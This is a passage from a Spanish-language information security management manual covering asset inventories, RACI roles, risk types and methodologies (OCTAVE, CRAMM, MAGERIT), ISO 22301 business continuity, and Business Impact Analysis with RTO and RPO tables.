siguientes tipos: Servidores de Archivos, Servidores de Correo,
Servidores de Aplicaciones, Servidores Web, entre los más habituales
algunas funciones, se suelen agrupar entorno a un número reducido de
los mismos, con el fin de optimizar al máximo, los costes en
infraestructura.
A esto activos hemos de sumar los activos lógicos por ejemplo el
Sistema Operativo de Red, y otros Subsistemas como por ejemplo los
motores de Base de Datos, los Motores de Gestión de Correo
Electrónico y Mensajería, los Motores de Gestión de Voz sobre Ip, etc.
Todos ellos con sus correspondientes costes de adquisición y
mantenimiento, a los que hay que sumar los costes de adecuación y
personalización de cada herramienta, sin tener presente coste de
programación. Estos costes se incluyen en muchos casos la formación
necesaria para la puesta en marcha y soporte de resolución de dudas.
Sí se requiere programación extra, distinta de la personalización y
adecuación de la herramienta o producto, en muchas ocasiones estas
herramientas de desarrollo no están incluidas en el coste de los propios
activos lógicos básicos.
Por tanto, la estructura de costes, de puede ser una buena lista de
control sobre la que desarrollar: las listas de activos, como idea básica
sobre la que poder formular el inventario de activos como conjuntos de
grupos funcionales homogéneos en este caso, las redes.
Veamos un ejemplo sencillo: aplicado a una sede una empresa
multinacional para tener una mejor compresión del enfoque que hemos
expuesto.
Página 25 de 430
Evidentemente no hemos desplegados las especializaciones, dado que

se trata de un diagrama simplificado a modo de ilustración y para
asentar con otro ejemplo, la idea que los inventarios de costes
contables no tienen por qué ser el único inventario, de la organización
respecto a sus activos.
Lo que sí es importante: es que este inventario, no contable, insistimos
debe ser exacto y preciso tanto en la ubicación como en el
número de elementos con configuraciones idénticas. Esto en
cuanto a los activos físicos, los lógicos admiten mucha más
especialización y diversificación, pero debemos tener siempre,
presente que la granularidad debe ser la adecuada para los propósitos
que perseguimos y que en el próximo capítulo expondremos.
En cuanto a recursos humanos y sus habilidades podemos orientarnos
por el organigrama formal de la organización, pero no es el único ya
que con este coexisten, otros como, por ejemplo: las dependencias
funcionales, las dependencias presupuestarias, las técnicas, por
proyecto y todos ellas son importantes, dado que revelan información
que para las auditorias de gestión resultan relevantes.
Página 26 de 430
En cuanto a los recursos humanos, siguiendo el organigrama funcional

podemos usar dos estructuras básicas, para cruzar datos a posteriori
una es estratificación típica por ejemplo una Matriz RACI©® y otra
sería una más quizás más adecuada a nuestro propósito y relacionada
no sólo con la posición jerárquica, sino con la función que desarrollaran
durante el proceso de estudio profundo de la organización.
Normas de uso de las Matrices RACI y RASCI.
Página 27 de 430
Dado que estamos construyendo organizaciones dentro de una ya

constituida, con propósitos específicos, traslademos esto a los SGSI-
A/D y también a los SGAM.
SGSI
Id Roll RACI Roll SGSI Funciones

R Responsable Vicedirector Hace funciones de director, en ausencia
de este, pero no puede tomar decisiones
ejecutivas, si no desarrolla estas
funciones planifica y coordina el
calendario del comité y supervisa actas.
A Aprobador Director Designa y destituye miembros del Comité
asigna responsabilidades para la
ejecución de tareas derivadas de las
reuniones y reflejadas en las actas.
C Consultado Miembro Ejecutor de tareas e informante para el
director y vicedirector es responsable del
trabajo de inicio a fin.
I Informado Miembro Tienen como misión la supervisión de las
actividades de otros miembros.
Página 28 de 430
SGA
Id Roll RACI Roll SGA Funciones

R Responsable Vicedirector Hace funciones de director, en ausencia
de este, pero no puede tomar decisiones
ejecutivas, si no desarrolla estas
funciones planifica y coordina el
calendario del comité y supervisa actas.
A Aprobador Director Designa y destituye miembros del Comité
dentro del área y asigna
responsabilidades para la ejecución de
tareas derivadas de las reuniones y
reflejadas en las actas.
C Consultado Miembro Ejecutor de tareas e informante para el
director y vicedirector es responsable del
trabajo de inicio a fin.
I Informado Miembro Tienen como misión la supervisión de las
actividades de otros miembros.
Una vez que tenemos nuestro inventario de activos, podemos ya

empezar a desarrollar las primeras acciones necesarias tanto los
Comités de los SGSI, así como los SGA, que consiste en determinar
que sistemas son críticos, desde el punto de vista de negocio y sin los
cuales la empresa puede colapsar, si no están disponibles y operativos
antes de un determinado intervalo de tiempo.
Aquí nos introducimos de plenos en dos normas ISO la 22301 cuya
misión es garantizar la continuidad del negocio y la ISO 31000 gestión
del riesgo. Ambas normas están íntimamente relacionadas, una carece
de sentido sin la otra.
Hablemos de los riesgos: Que son, de su clasificación, de su evaluación
y de las salvaguardias o contramedidas que se pueden aplicar a cada
caso de forma general.
Definición de Riesgo. - Riesgo es la posibilidad en la que pueda
producirse una acción que lleve consigo consecuencias negativas y
nocivas. Al usar el concepto de riesgo nos referimos a las palabras amenazas y
vulnerabilidad como conjunto. De esta manera es que se diferencia riesgo de
amenaza, siendo la amenaza la causa de riesgo.
Clasificación de tipos de los Riesgos. - Se enuncian como tipos de riesgos
conocidos los siguientes: Físicos, Químicos, Biológicos, Ergonómicos,
Psicosociales, entre otros, cuando hablamos del ámbito de las empresas los riesgos
además de los ya enunciados, pueden ser los siguientes Riesgos Economico-
Financeros, Riesgos Operacionales, Riesgos Tecnológicos y vamos a ver como se
definen cada uno de estos tipos
Riesgo Económico. Medida de las posibles eventualidades que pueden afectar
al resultado de explotación de una empresa, que hacen que no se pueda
garantizar ese resultado a lo largo del tiempo.
Página 29 de 430
El riesgo económico hace referencia a la incertidumbre producida en el

rendimiento de la inversión debida a los cambios producidos en la situación
económica del sector en el que opera. Así, a modo de ejemplo, dicho riesgo
puede provenir de:
 La política de gestión de la empresa,

 La política de distribución de productos o servicios
 La aparición de nuevos competidores,
 La alteración en los gustos de los consumidores...
Este tipo de riesgo puede producir grandes pérdidas en un corto espacio de

tiempo debido, por ejemplo, a la irrupción en el mercado de un producto más
avanzado y barato que el de la empresa en cuestión... provocando grandes
pérdidas en la empresa. (Riesgos económico y financiero - Juan Mascareñas -
UCM).
Riesgo Financiero. También conocido como riesgo de crédito o de insolvencia.
Hace referencia a las incertidumbres en operaciones financieras derivadas de la
volatilidad de los mercados financieros y de crédito.
Por ejemplo, a la incertidumbre asociada al rendimiento de la inversión debida a
la posibilidad de que la empresa no pueda hacer frente a sus obligaciones
financieras (pago de los intereses, amortización de las deudas). Es decir, el
riesgo financiero es debido a un único factor: las obligaciones financieras fijas en
las que se incurre.
El riesgo financiero está estrechamente relacionado con el riesgo

económico puesto que los tipos de activos que una empresa posee y los
productos o servicios que ofrece juegan un papel importantísimo en el servicio
de su endeudamiento. (Riesgos económico y financiero - Juan Mascareñas -
UCM).
Riesgo Operacional es aquel que puede provocar pérdidas debido a errores
humanos, procesos internos inadecuados o defectuosos, fallos en los sistemas
y como consecuencia de acontecimientos externos. Esta definición incluye el
riesgo legal y excluye el riesgo estratégico y/o de negocio y el riesgo
reputacional.
El riesgo operacional es inherente a todas las actividades, productos, sistemas
y procesos, y sus orígenes son muy variados (procesos, fraudes internos y
externos, tecnológicos, recursos humanos, prácticas comerciales, desastres,
proveedores).
El riesgo Tecnológico tiene su origen en el continuo incremento de
herramientas y aplicaciones tecnológicas que no cuentan con una gestión
adecuada de seguridad. Su incursión en las organizaciones se debe a que la
tecnología está siendo fin y medio de ataques debido a vulnerabilidades
existentes por medidas de protección inapropiadas y por su constante cambio,
factores que hacen cada vez más difícil mantener actualizadas esas medidas de
seguridad.
Página 30 de 430
Riesgo Reputacional o de Marca o de Imagen. Es otra clase de riesgo que se

define como el riesgo asociado a los cambios de percepción del Grupo, o de las
marcas que lo integran, por parte de los grupos de interés (clientes, accionistas,
empleados, etc.). El riesgo de crédito, el de mercado y el operacional pueden
generar riesgo reputacional.
El riesgo de reputación se analiza y evalúa en cada país con una metodología
desarrollada de manera conjunta por Gestión Corporativa de Riesgo Operacional
(GCRO) y por Comunicación y Marca/Responsabilidad y Reputación
Corporativas. Cada país dispone de un Comité de Responsabilidad y Reputación
Corporativas que evalúa e impulsa la gestión de esta clase de riesgo, debiendo
tenerse en cuenta que los planes de acción pertenecen a las áreas de negocio y
de soporte. Asimismo, en la matriz existe un Comité de Riesgos Sociales,
Ambientales y Reputaciones que impulsa y coordina la gestión de este riesgo en
el Grupo.
Salvaguardia o Contramedidas son las medidas que se emplean para evitar
los daños o las consecuencias derivadas del riesgo y su impacto materialización
de. Deben ser adecuadas y proporcionales ejemplo de esto: los sistemas de
detección de incendios, además de salvar vidas, ya que alertan de un fuego,
sirven para que los medios disponibles: rociadores, extintores, sistema de CO2
el incendio no alcance un punto en que no sea gobernable. Existen muchas
clases de contramedidas tantas como tipos de activo, el concepto es importante
es que una contramedida es un sistema que en el menor de los casos aminorar
el impacto hasta el punto en que la organización puede asumirlo exceptuando el
caso de la pérdida de vidas humanas.
Como se puede observar y deducir, todas las personas estamos manejando
continuamente riesgos a diario y casi de forma inconsciente, pero cuando esto
se traslada a una organización que puede ser nuestro cliente o puede ser nuestra
propia organización, el enfoque debe ser profesional esto es el objetivo de la
metodología de Análisis de Riesgo o Gestión del mismo. Las compañías de
seguros son las precursoras de las mismas, ya que deben valorar todo y
establecer en función de ello un precio a pagar (prima).
Página 31 de 430
Capítulo 4
La Gestión del Riesgo y la Continuidad del Negocio. ISO 22301

Lo primero es que una vez
conocidos, mis activos,
saber qué tipos de riesgos
le pueden afectar y en qué
medida a cada uno de
ellos, es de suma
importancia. En la figura
se muestra cuáles son las
actividades necesarias
para efectuar el análisis,
así como la gestión del
Riesgo.
Facilitada por INCIBE.
Página 32 de 430
Al final de este Manual se encuentran los libros de MAGERIT V 3.0 por

si desea profundizar más en esta metodología en particular, ya que no
se requiere permiso expreso, del autor para su uso. Veamos unas
breves descripciones de otras metodologías empezando por…
Octave.
Una evaluación efectiva de riesgos en la seguridad de la información considera
tanto los temas organizacionales como los técnicos, examina cómo la gente
emplea la infraestructura en forma diaria. La evaluación es de vital importancia
para cualquier iniciativa de mejora en seguridad, porque genera una visión a lo
ancho de la organización de los riesgos.
Para que una empresa comprenda cuáles son las necesidades de seguridad de
la información, OCTAVE es una técnica de planificación y consultoría estratégica
en seguridad basada en el riesgo.
En contra de la típica consultoría focalizada en tecnología, que tiene como
objetivo los riesgos tecnológicos y el foco en los temas tácticos, el objetivo de
OCTAVE es el riesgo organizacional y el foco son los temas relativos a la
estrategia y a la práctica. Cuando se aplica OCTAVE, un pequeño equipo de
gente desde los sectores operativos o de negocios hasta los departamentos de
tecnología de la información (IT) trabajan juntos dirigidos a las necesidades de
seguridad, balanceando tres aspectos: Riesgos Operativos, Prácticas de
seguridad Y Tecnología.
Variantes de Octave.
OCTAVE BASE
El método fue desarrollado teniendo en cuenta grandes organizaciones de 300
o más empleados, pero el tamaño no fue la única consideración.
Actividades relevantes del método Octave
 Identificar los elementos críticos y las amenazas a esos activos.
 La identificación de las vulnerabilidades, tanto organizativas y
tecnológicas, que exponen a las amenazas, creando un riesgo a la
organización.
 El desarrollo de una estrategia basada en la protección de prácticas y
planes de mitigación de riesgos para apoyar la misión de la organización
y las prioridades.
Estas actividades son apoyadas por un catálogo de buenas prácticas, así como
encuestas y hojas de cálculo que se puede utilizar para obtener y captar
información durante los debates y la solución de sesiones-problema.
Página 33 de 430
Método OCTAVE-S: Fue desarrollado en respuesta a las necesidades de

organizaciones más pequeñas alrededor de 100 personas o menos. Cumple con
los mismos criterios que el método Octave, pero está adaptado a los limitados
medios y restricciones únicas de las pequeñas organizaciones.
Método OCTAVE ALLEGRO: Es una variante simplificada del método de
Octave que se centra en los activos de la información. Igual que los anteriores
métodos de Octave, Allegro se puede realizar de entrada en un taller de entorno
colaborativo, pero también es muy apropiado para las personas que desean
realizar la evaluación de riesgo sin una amplia participación de la organización o
experiencia.
CRAMM
Es la metodología de análisis de riesgos desarrollado por el Centro de
Informática y la Agencia Nacional de Telecomunicaciones (CCTA) del gobierno
del Reino Unido. El significado del acrónimo proviene de CCTA Risk Análisis and
Management Method. Su versión inicial data de 1987 y la versión vigente es la
5.2. Está basado en las mejores prácticas de la administración pública británica,
por lo que es más adecuado para organizaciones grandes, tanto públicas como
privadas.
Características:
 Sirve para el análisis y gestión de riesgos.
 Aplica conceptos de una manera formal, disciplinada y estructurada.
 Orientada a proteger la confidencialidad, integridad y disponibilidad de
un sistema y de sus activos.
 Que, aunque es considerada cuantitativa, utiliza evaluaciones
cuantitativas y cualitativas, y por esto se considera mixta.
 Aplica a activos de modelado de dependencia
 Sirve para la evaluación de impacto empresarial
 Identificación y evaluación de amenazas y vulnerabilidades
 Evaluar los niveles de riesgo
 La identificación de los controles necesarios y justificados sobre la base
de la evaluación del riesgo.
 Un enfoque flexible para la evaluación de riesgos.
Alcance: Es aplicable a todo tipo de sistemas y redes de información y se puede

aplicar en todas las etapas del ciclo de vida del sistema de información, desde la
planificación y viabilidad, a través del desarrollo e implementación del mismo.
CRAMM se puede utilizar siempre que sea necesario para identificar la seguridad
y/o requisitos de contingencia para un sistema de información o de la red.
La metodología de CRAMM tiene tres etapas:
La primera de las etapas recoge la definición global de los objetivos de seguridad
entre los que se encuentra la definición del alcance, la identificación y evaluación
de los activos físicos y software implicados, la determinación del valor de los
datos en cuanto a impacto en el negocio y la identificación.
Página 34 de 430
En la segunda etapa de la metodología se hace el análisis de riesgos,

identificando las amenazas que afecta al sistema, así como las vulnerabilidades
que explotan dichas amenazas y por último el cálculo de los riesgos de
materialización de las mismas.
En la tercera etapa se identifican y seleccionan las medidas de seguridad
aplicadas en la entidad obteniendo los riesgos residuales, CRAMM proporciona
una librería de 3000 medidas de seguridad.
A continuación, se gráfica estas tres etapas en el ciclo de CRAMM
Asimismo, Cramm calcula los riesgos para cada grupo de activos contra las
amenazas a las que es vulnerable en una escala de 1 a 7, utilizando una matriz
de riesgo con valores predefinidos comparando los valores de activos a las
amenazas y niveles de vulnerabilidad. En esta escala, "1" indica una línea de
base de bajo nivel de exigencia de seguridad y el “7 " indica un requisito de
seguridad muy alto.
Basándose en los resultados del análisis de riesgos, Cramm produce una serie
de contramedidas aplicable al sistema o red que se consideran necesarias para
gestionar los riesgos identificados. El perfil de seguridad recomendado a
Página 35 de 430
continuación se compara con los existentes para Contramedidas, luego de

identificar las áreas de debilidad o de mayor exposición.
Cramm contiene una gran selección predefinidas de contramedidas (alrededor
de 3000), todas se reúnen en grupos y subgrupos con los mismos aspectos de
seguridad, incluyendo, activos de software, hardware e incluso protecciones
medioambientales. Por lo que se recomienda la utilización de una versión de
prueba que puede ser descargada de su sitio Web.
CRAMM se puede resumir en definitivo así:
Tras haber visto algunas de la metodologías más utilizadas y representativas

para la gestión del riesgo veamos los riesgos tecnológicos que pueden, afectar
al activo más importante de nuestra empresa. Extraído de la página web
SearchDataCenter©® en español y redactado por la aseguradora Zúrich.
Página 36 de 430
1. Manejo de TI interno. El tener toda la estructura de TI internamente, sin

subcontrataciones, puede dar una acumulación de problemas difíciles de
manejar para una sola organización.
2. Asociaciones con contrapartes. Al trabajar en un proyecto conjunto con
una organización externa, ya sea un competidor o socio, pueden existir
riesgos de una interconexión directa entre ambas partes y que compartan
información.
3. Subcontratación de servicios. Se tiene que tomar precauciones al tener
proveedores externos de servicios, como Recursos Humanos, Legal o de TI;
hay que revisar que no se compartan datos de más entre las dos partes.
4. Riesgos cibernéticos a cadenas de suministro. Las cadenas de
suministro y logística tradicionales pueden sufrir severas interrupciones con
ataques cibernéticos.
5. Tecnologías disruptivas. Las nuevas tecnologías, como las redes
inteligentes, traen consigo nuevos efectos inadvertidos, que todavía no están
en la mira de los profesionales de informática.
6. Infraestructura ascendente. Actualmente hay sociedades y economías que
son sustentadas por infraestructuras informáticas, ya sean sus sistemas de
electricidad o telecomunicaciones, que, de sufrir alteraciones, como una
potencial regulación de Internet, crearían riesgos para cualquier
organización.
7. Crisis externas. Los riesgos que están fuera del sistema, en los cuales la
organización no tiene ningún control, tal como una pandemia de malware,
pueden tener un efecto cascada.
Aunque este artículo está escrito orientado hacia los directivos, veamos alguna
metodología formal, para que, si Usted decide hacerlo, sepa cómo se hace y que
datos son relevantes, para seleccionar las medidas adecuadas de salvaguardia
o contramedidas.
Una metodología europea denominada Magerit, versión 3 publicada en 2012 que
es muy utilizada y que está muy difundida dentro de las Administraciones
públicas y vemos que tipo de amenazas y vulnerabilidades están formalmente
reconocidas por la misma.
Página 37 de 430
Aunque con modificaciones mínimas aquí mostramos de una parte una lista de
amenazas contempladas por MAGERIT, pero recomendamos la lectura del
documento que enunciamos tras la exposición de esta lista.
Amenaza/Activo
Fuego
Daños por agua
Desastres naturales
Fuga de información
Introducción de falsa información
Alteración de la información
Corrupción de la información
Destrucción de información
Interceptación de información (escucha)
Corte del suministro eléctrico
Condiciones inadecuadas de temperatura o humedad
Fallo de servicios de comunicaciones
Interrupción de otros servicios y suministros esenciales
Desastres industriales
Degradación de los soportes de almacenamiento de la
información
Difusión de software dañino
Errores de mantenimiento / actualización de programas
(software)
Errores de mantenimiento / actualización de equipos
(hardware)
Caída del sistema por sobrecarga
Pérdida de equipos
Indisponibilidad del personal
Abuso de privilegios de acceso
Acceso no autorizado
Errores de los usuarios
Errores del administrador
Errores de configuración
Denegación de servicio
Robo
Indisponibilidad del personal
Extorsión
Ingeniería social
El INCIBE ha publicado un documento muy interesante, que añadimos
al final de esta guía, orientada claramente hacia los empresarios y que
nos muestra cual es la importancia de desarrollar de forma correcta
tanto el Análisis de Riesgos y la aplicación de Contramedidas o
Salvaguardias para cada tipo de activo. Hagamos pues un resumen
gráfico hasta ahora de los pasos para comprender mejor el esquema
de trabajo como proyecto.
Página 38 de 430
Ahora se plantea el gran dilema, hasta ahora hemos sido autónomos y

obrado de forma autodidacta. Pero necesitamos objetividad, ello
implica recurrir a Consultoría externa, para verificar que: los
planteamientos, la organización y el desempeño tanto de los SGSI,
como los SGAs y la elaboración del mapa de riesgos y salvaguardias
es correcto. Esta consultora externa desarrollará para nosotros una
Auditoria y nos ofrecerá una visión objetiva de nuestros hallazgos o
nos descubrirá nuevos hallazgos, que no afloraron en nuestras
investigaciones.
No podemos olvidar que la palabra Auditoria tiene una mala
connotación en términos generales, por estar relacionada con las
inspecciones fiscales, con delitos económico-financieros y con fraudes
y estafas, de ahí que el comportamiento personal, en las
organizaciones, se modifica de forma radical cuando se habla de la
realización de una Auditoria y aparecen los auditores en escena.
Lo más importante es que el mapa de riesgos este correctamente
elaborado y el de las contramedidas también, es importante que tanto
RR.HH como Legal, tengan presente que la
Consultora externa, por no tener ningún tipo
de implicaciones emocionales o personales
es más objetiva, ya que el evaluar cualquier
clase de trabajo, supone emitir un juicio, y
cuando el valor del juicio discrepa del
esperado, tanto recursos humanos RRHH
como Legal se siente aludidos, pero siempre
todo trabajo es susceptible de ser mejorado.
1 La imagen del Auditor
no debe ser esta
Página 39 de 430
Por ello la existencia de un departamento de Calidad, ayuda a la

erradicación de los prejuicios sobre la Auditoria y los Auditores, al ser
compañeros de trabajo a diario y ello facilita que no haya cambios
drásticos, en la conducta, entre la ausencia y la presencia de Auditores
externos.
Es claro que va haber diferencias y discrepancias tanto en los
inventarios como en la valoración de riesgos / amenazas y también en
las contramedidas ahí: sí es necesario, alcanzar un compromiso de
racionalidad, ese compromiso de racionalidad es la base para construir
el proyecto de continuidad del negocio.
Esta es la norma ISO 22301Continuidad del Negocio (Operaciones)
suele ser encomendada a la gente de TIC / SI, pero es un error común
dado que TIC / SI entiende de tecnología, pero entienden poco de
regulaciones legales o financieras que afectan al negocio y es por ello,
que deben ser los directores de cada área de negocio, quienes
establezcan que sistemas son prioritarios y cuáles son los intervalos de
tiempo máximo, que pueden no estar operativo los sistemas en las
condiciones habituales.
También deberán indicar medios alternativos, que garanticen tanto la
no perdida de información como la no perdida de la capacidad
operativa, pues mientras se restablecen los sistemas hardware
software y comunicaciones, la actividad empresarial no cesa y ello
supone, que se genera información nueva, que se ha de incorporar
justo antes de producirse la disrupción a ser posible con el menor coste
de tiempo y económico posible. TIC / SI deberá tener preparadas
medidas alternativas o sistemas alternativos viables y deberá
sincronizar periódicamente los repositorios de datos de estas
alternativas para que el desfase entre datos reales y datos de respaldo
sea el mínimo posible, también se debe prestar especial atención a la
sincronización de las aplicaciones tanto comerciales como desarrollos
internos aplicando la misma política que para los datos.
Una vez conocido el mapa de sistemas críticos, según criterios de
negocio, es cuando se pueden evaluar las diferentes alternativas
tecnológicas y ver cuáles son utilizables por: coste y tiempo de
implantación, incluyendo la adecuada formación de personal. Todo
deriva de un informe de negocio conocido como BIA (Business Impact
Analisys) en inglés y es interesante conocer cómo se calculan los
valores, que nos indican de cuánto tiempo disponemos desde que se
declara la disrupción de los servicios hasta volver a la situación pre-
disrupción. Voy a tomar prestado de la Web de ESET algunos que
conceptos que me parecen interesantes y que aclaran cual es la
diferencia entre la gestión del riesgo y el impacto y como se traduce
esto en el entorno de negocio.
Página 40 de 430
El análisis de impacto al negocio (Business Impact Analysis o BIA por sus

siglas en inglés) es otro elemento utilizado para estimar la afectación que podría
padecer una organización como resultado de la ocurrencia de algún incidente o
un desastre.
A diferencia de una evaluación de riesgos, que se enfoca en cómo podría verse

afectada una organización a través de la identificación, análisis y valoración de
amenazas de seguridad con base en su impacto sobre los activos críticos y la
probabilidad de ocurrencia, el BIA es un proceso más especializado en la
identificación de los tipos de impacto, orientado en conocer qué podría verse
afectado y las consecuencias sobre los procesos de negocio.
También, el BIA puede ser considerado como una fase a ejecutar durante el
desarrollo de un Plan de Recuperación ante Desastres (DRP), y por lo tanto de
un Plan de Continuidad del Negocio (BCP), debido a que permite a las
organizaciones estimar la magnitud del impacto operacional y
financiero asociado a una interrupción. En esta entrega vamos revisar las
características del BIA y el proceso asociado a su desarrollo.
Características del análisis de impacto
El Business Impact Analysis tiene dos objetivos principales; el primero de ellos

consiste en proveer una base para identificar los procesos críticos para la
operación de una organización. Una vez generado ese punto de partida, el
segundo se refiere a la priorización de ese conjunto de procesos, siguiendo el
criterio de cuanto mayor sea el impacto, mayor será la prioridad.
El BIA está directamente relacionado con aquellos procesos que poseen

un tiempo crítico para su operación, porque si bien todos los procesos sujetos
a un tiempo crítico son de misión crítica, no todos los procesos de misión crítica
están relacionados con un tiempo crítico para su ejecución.
De manera adicional, el desarrollo de este análisis permite estimar

los recursos necesarios para los procesos identificados, de manera especial
para aquellos que representan mayor sensibilidad con relación al tiempo y el
impacto.
Para ello se define el Tiempo Objetivo de Recuperación (RTO por sus siglas
en inglés), que es el período permitido para la recuperación de una función o
recurso de negocio a un nivel aceptable luego de una interrupción o desastre, y
el Punto Objetivo de Recuperación (RPO) que describe la antigüedad máxima
de los datos para su restauración, es decir, la tolerancia que el negocio puede
permitir para operar con datos de respaldo, por lo que el RPO estará en función
de las actividades primordiales de una organización.
Página 41 de 430
Consideraciones durante el desarrollo del BIA
En general, los activos de soporte en las empresas están relacionados con las
instalaciones, infraestructura de TI, software o hardware, entre otros, mismos
que en ocasiones se vuelven indispensables para una actividad específica.
En este sentido, la primera actividad para el desarrollo del análisis de impacto

consiste en identificar los procesos y actividades relacionadas directamente con
la misión y objetivos de la organización, su interacción con los activos de
soporte, así como sus dependencias e insumos.
Cuando se tiene esta información, se definen los valores para el RTO y RPO
para cada una de las actividades, funciones o procesos considerados, así como
otros elementos, por ejemplo, el tiempo de inactividad máximo tolerable
(Máximum Tolerable Downtime, MTD) o la interrupción máxima tolerable
(Máximum Tolerable Outage, MTO), es decir, el período máximo de no
disponibilidad para las actividades, activos o procesos, antes de que la
organización deje de operar.
De forma paralela, es necesario también identificar los recursos y actividades

requeridas para establecer las operaciones a un nivel de aceptable, en función
del periodo de interrupción definido por las características y necesidades de la
empresa.
Como última actividad, se considera la generación de un informe que permita

documentar todos los resultados obtenidos en los pasos anteriores, que
proporcione información útil para la toma de decisiones de la alta dirección.
Ventajas de la realización de un análisis de impacto
El primer beneficio de la ejecución de un Business Impact Analysis es que puede

ser utilizado como una de las fases iniciales para el desarrollo posterior de un
DRP y en consecuencia de un BCP, al tiempo que permite identificar los recursos
más importantes de una organización y el impacto que podría representar en
caso de algún incidente o interrupción mayor.
También puede ser utilizado como un elemento que complemente el desarrollo

de una evaluación de riesgos, ya que se enfoca en la priorización de los procesos
de negocio y en el impacto sobre éstos.
En este punto, es importante mencionar que la evaluación de riesgos utiliza esta

variable (impacto) y la probabilidad de ocurrencia de la materialización de una
amenaza para llevar a cabo la valoración.
Página 42 de 430
Finalmente, contribuye a mejorar el entendimiento sobre las afectaciones a la

organización, así como de la manera de responder ante las mismas, por lo que
también está relacionado con el plan de respuesta a incidentes. De esta forma,
podemos observar su relación con otros elementos proactivos de seguridad de
la información y las ventajas de su aplicación.
Volvamos a construir un gráfico que nos situé de nuevo, una vez que hemos
concluido este conjunto de actividades.
Hay que señalar que cada sector de negocio tiene sus propios BIAs, estos que
mostramos son a modo de ejemplo y debe ser sólo una referencia que habrá de
adecuarse al sector en cada caso.
EVALUACIÓN DE IMPACTOS OPERACIONALES
Teniendo en cuenta los elementos operacionales de la organización, se requiere

evaluar el nivel de impacto de una interrupción dentro de la Entidad. El impacto
operacional permite evaluar el nivel negativo de una interrupción en varios
aspectos de las operaciones del negocio; el impacto se puede medir utilizando
un esquema de valoración, con los siguientes niveles: A, B o C.
Página 43 de 430
Nivel A: La operación es crítica para el negocio. Una operación es crítica

cuando al no contar con ésta, la función del negocio no puede realizarse.
Nivel B: La operación es una parte integral del negocio, sin ésta el negocio
no podría operar normalmente, pero la función no es crítica.
Nivel C: La operación no es una parte integral del negocio.
TABLA DE EVALUACIÓN DE IMPACTOS OPERACIONALES
Categoría Proceso Nivel Tolerancia a Descripción

(Función del (Servicios) Fallas (Horas)
Negocio)
Sistema de
Contenedor de
Aplicaciones Control de flujo B 3
aplicaciones
de documentos
Capa de
Web Sitio web Entidad A 1
presentación
Contenedor de
Base de Datos SQL nómina A 1 aplicaciones en
SQL
Servicio de
Seguridad de
Firewall A 1 firewall de la
Información
Entidad
Capacidad de
Sistemas de SAN (Storage
A 3 almacenamiento
Almacenamiento Área Network)
en SAN
Comunicación de
Acceso Local a
Comunicaciones C 4 Internet del
Internet
usuario local
Servicio de
Cuartos de
Centro de Datos A 1 Centro de datos
Máquinas
de la Entidad
Desarrollo Interno
Proveedores de o contratado por
Aplicaciones y/o Interno/externo B 2 externos.
comunicaciones Canales de
comunicaciones
Profesionales
encargados de
Recurso Humano Internos/externos C 3 administrar las
infraestructuras
de la Entidad
IDENTIFICACIÓN DE PROCESOS CRÍTICOS.
La identificación de los procesos críticos del negocio se da con base en la

clasificación de los impactos operacionales de las organizaciones, según esta
tabla.
Valor Interpretación del proceso crítico

A Crítico para el Negocio, la función del negocio no puede realizarse
B No es crítico para el negocio, pero la operación es una parte integral del mismo.
C La operación no es parte integral del negocio.
Página 44 de 430
ESTABLECIMIENTO DE TIEMPOS DE RECUPERACIÓN.
Una vez identificados los procesos críticos del negocio, se deben establecer los
tiempos de recuperación que son una serie de componentes correspondientes
al tiempo disponible para recuperarse de una alteración o falla de los servicios;
el entendimiento de estos componentes es fundamental para comprender el BIA.
Los tiempos de recuperación de describen a continuación:
Tiempo de Descripción
Recuperación
Magnitud de la pérdida de datos medida en términos de un
RPO
periodo de tiempo que puede tolerar un proceso de negocio.
Tiempo Disponible para Recuperar Sistemas y/o recursos que
RTO
han sufrido una alteración.
Tiempo Disponible para Recuperar Datos Perdidos una vez que
WRT los sistemas están reparados. Tiempo de Recuperación de
Trabajo.
Periodo Máximo Tiempo de Inactividad que puede tolerar la
MTD
Entidad sin entrar en colapso.
Tabla 3. Descripción de tiempos de recuperación
Una vez identificados los procesos críticos del negocio, función que hace parte
del análisis de los impactos operacionales, se procede a identificar el MTD, que
corresponde al tiempo máximo de inactividad que puede tolerar una organización
antes de colapsar y se hace la clasificación a fin de priorizar la recuperación del
proceso (servicio). Esto quiere decir que si por ejemplo un proceso tiene un
periodo máximo de tiempo de inactividad (MTD) de un (1) día, este debe tener
mayor prioridad para iniciar el evento de recuperación, en razón al poco tiempo
de tolerancia de la inactividad, frente a otros que tienen mayor tolerancia.
El siguiente ejemplo ilustra esta situación:
Categoría (Función Proceso Crítico (Servicios) MTD (en días) Prioridad de

Crítica del Negocio) Recuperación
Sistema de Control
Aplicaciones 2 días 3
de flujo de documentos
Soporte Informático Dispositivos Móviles 2 días 3
Aplicaciones Sistema de Nómina 0.5 día* 1
Seguridad de
Firewall 0.5 día* 1
Información
Sistemas de
SAN (Storage Área Network) 1 día 2
Almacenamiento
Comunicaciones Servicio WiFi 1 día 2
Cuartos de Máquinas Centro de Datos 0.5 día* 1
Soporte Informático Equipo PC de usuario 3 días 4
*: Corresponde al tiempo de inactividad del proceso crítico del negocio, que

tomaría menos de un (1) día de tolerancia de inactividad del servicio.
Página 45 de 430
IDENTIFICACIÓN DE RECURSOS
Las diferentes actividades contempladas en la función crítica del negocio deben

considerarse de vital importancia cuando apoyan los procesos críticos del
negocio; por lo tanto, es clave en este punto, la identificación de recursos críticos
de Sistemas de Tecnología de Información que permitan tomas acciones para
medir el impacto del negocio de las Entidades. La siguiente tabla representa un
ejemplo de identificación de recursos críticos de Sistemas de Tecnologías de
Información.
Negocio Procesos Críticos Identificación de recursos

(Servicios) críticos de Sistemas TI
Sistema de entrada de
novedades administrativas.
Aplicaciones Sistema de nómina
Interfaces con el Sistema
Financiero.
Reglas de entrada y salida de
puertos.
Seguridad de Información Firewall
Reglas NAT/PAT.
Direccionamiento IP público.
Control de identificación
usuarios con Portal Cautivo.
Comunicaciones Servicio WiFi
Control de usuarios locales
Vs Invitados.
Control de operaciones de
Servidores, Equipos de
Comunicaciones, Sistemas
Cuartos de Máquinas Centro de Datos
de Almacenamiento,
Sistemas de Backups, Aire
Acondicionado, Acometida
DISPOSICIÓN DE LOS RTO/RPO

(RECOVERY TIME OBJECTIVE / RECOVERY POINT OBJECTIVE)
RTO: Tiempo de Recuperación Objetivo: Asociado con la restauración de los

recursos que han sido alterados de las Tecnologías de la Información;
comprende el tiempo disponible para recuperar recursos alterados.
Adicionalmente, se aplica el WRT, es decir el tiempo que es requerido para

completar el trabajo que ha estado interrumpido con el propósito de volverlo a la
normalidad.
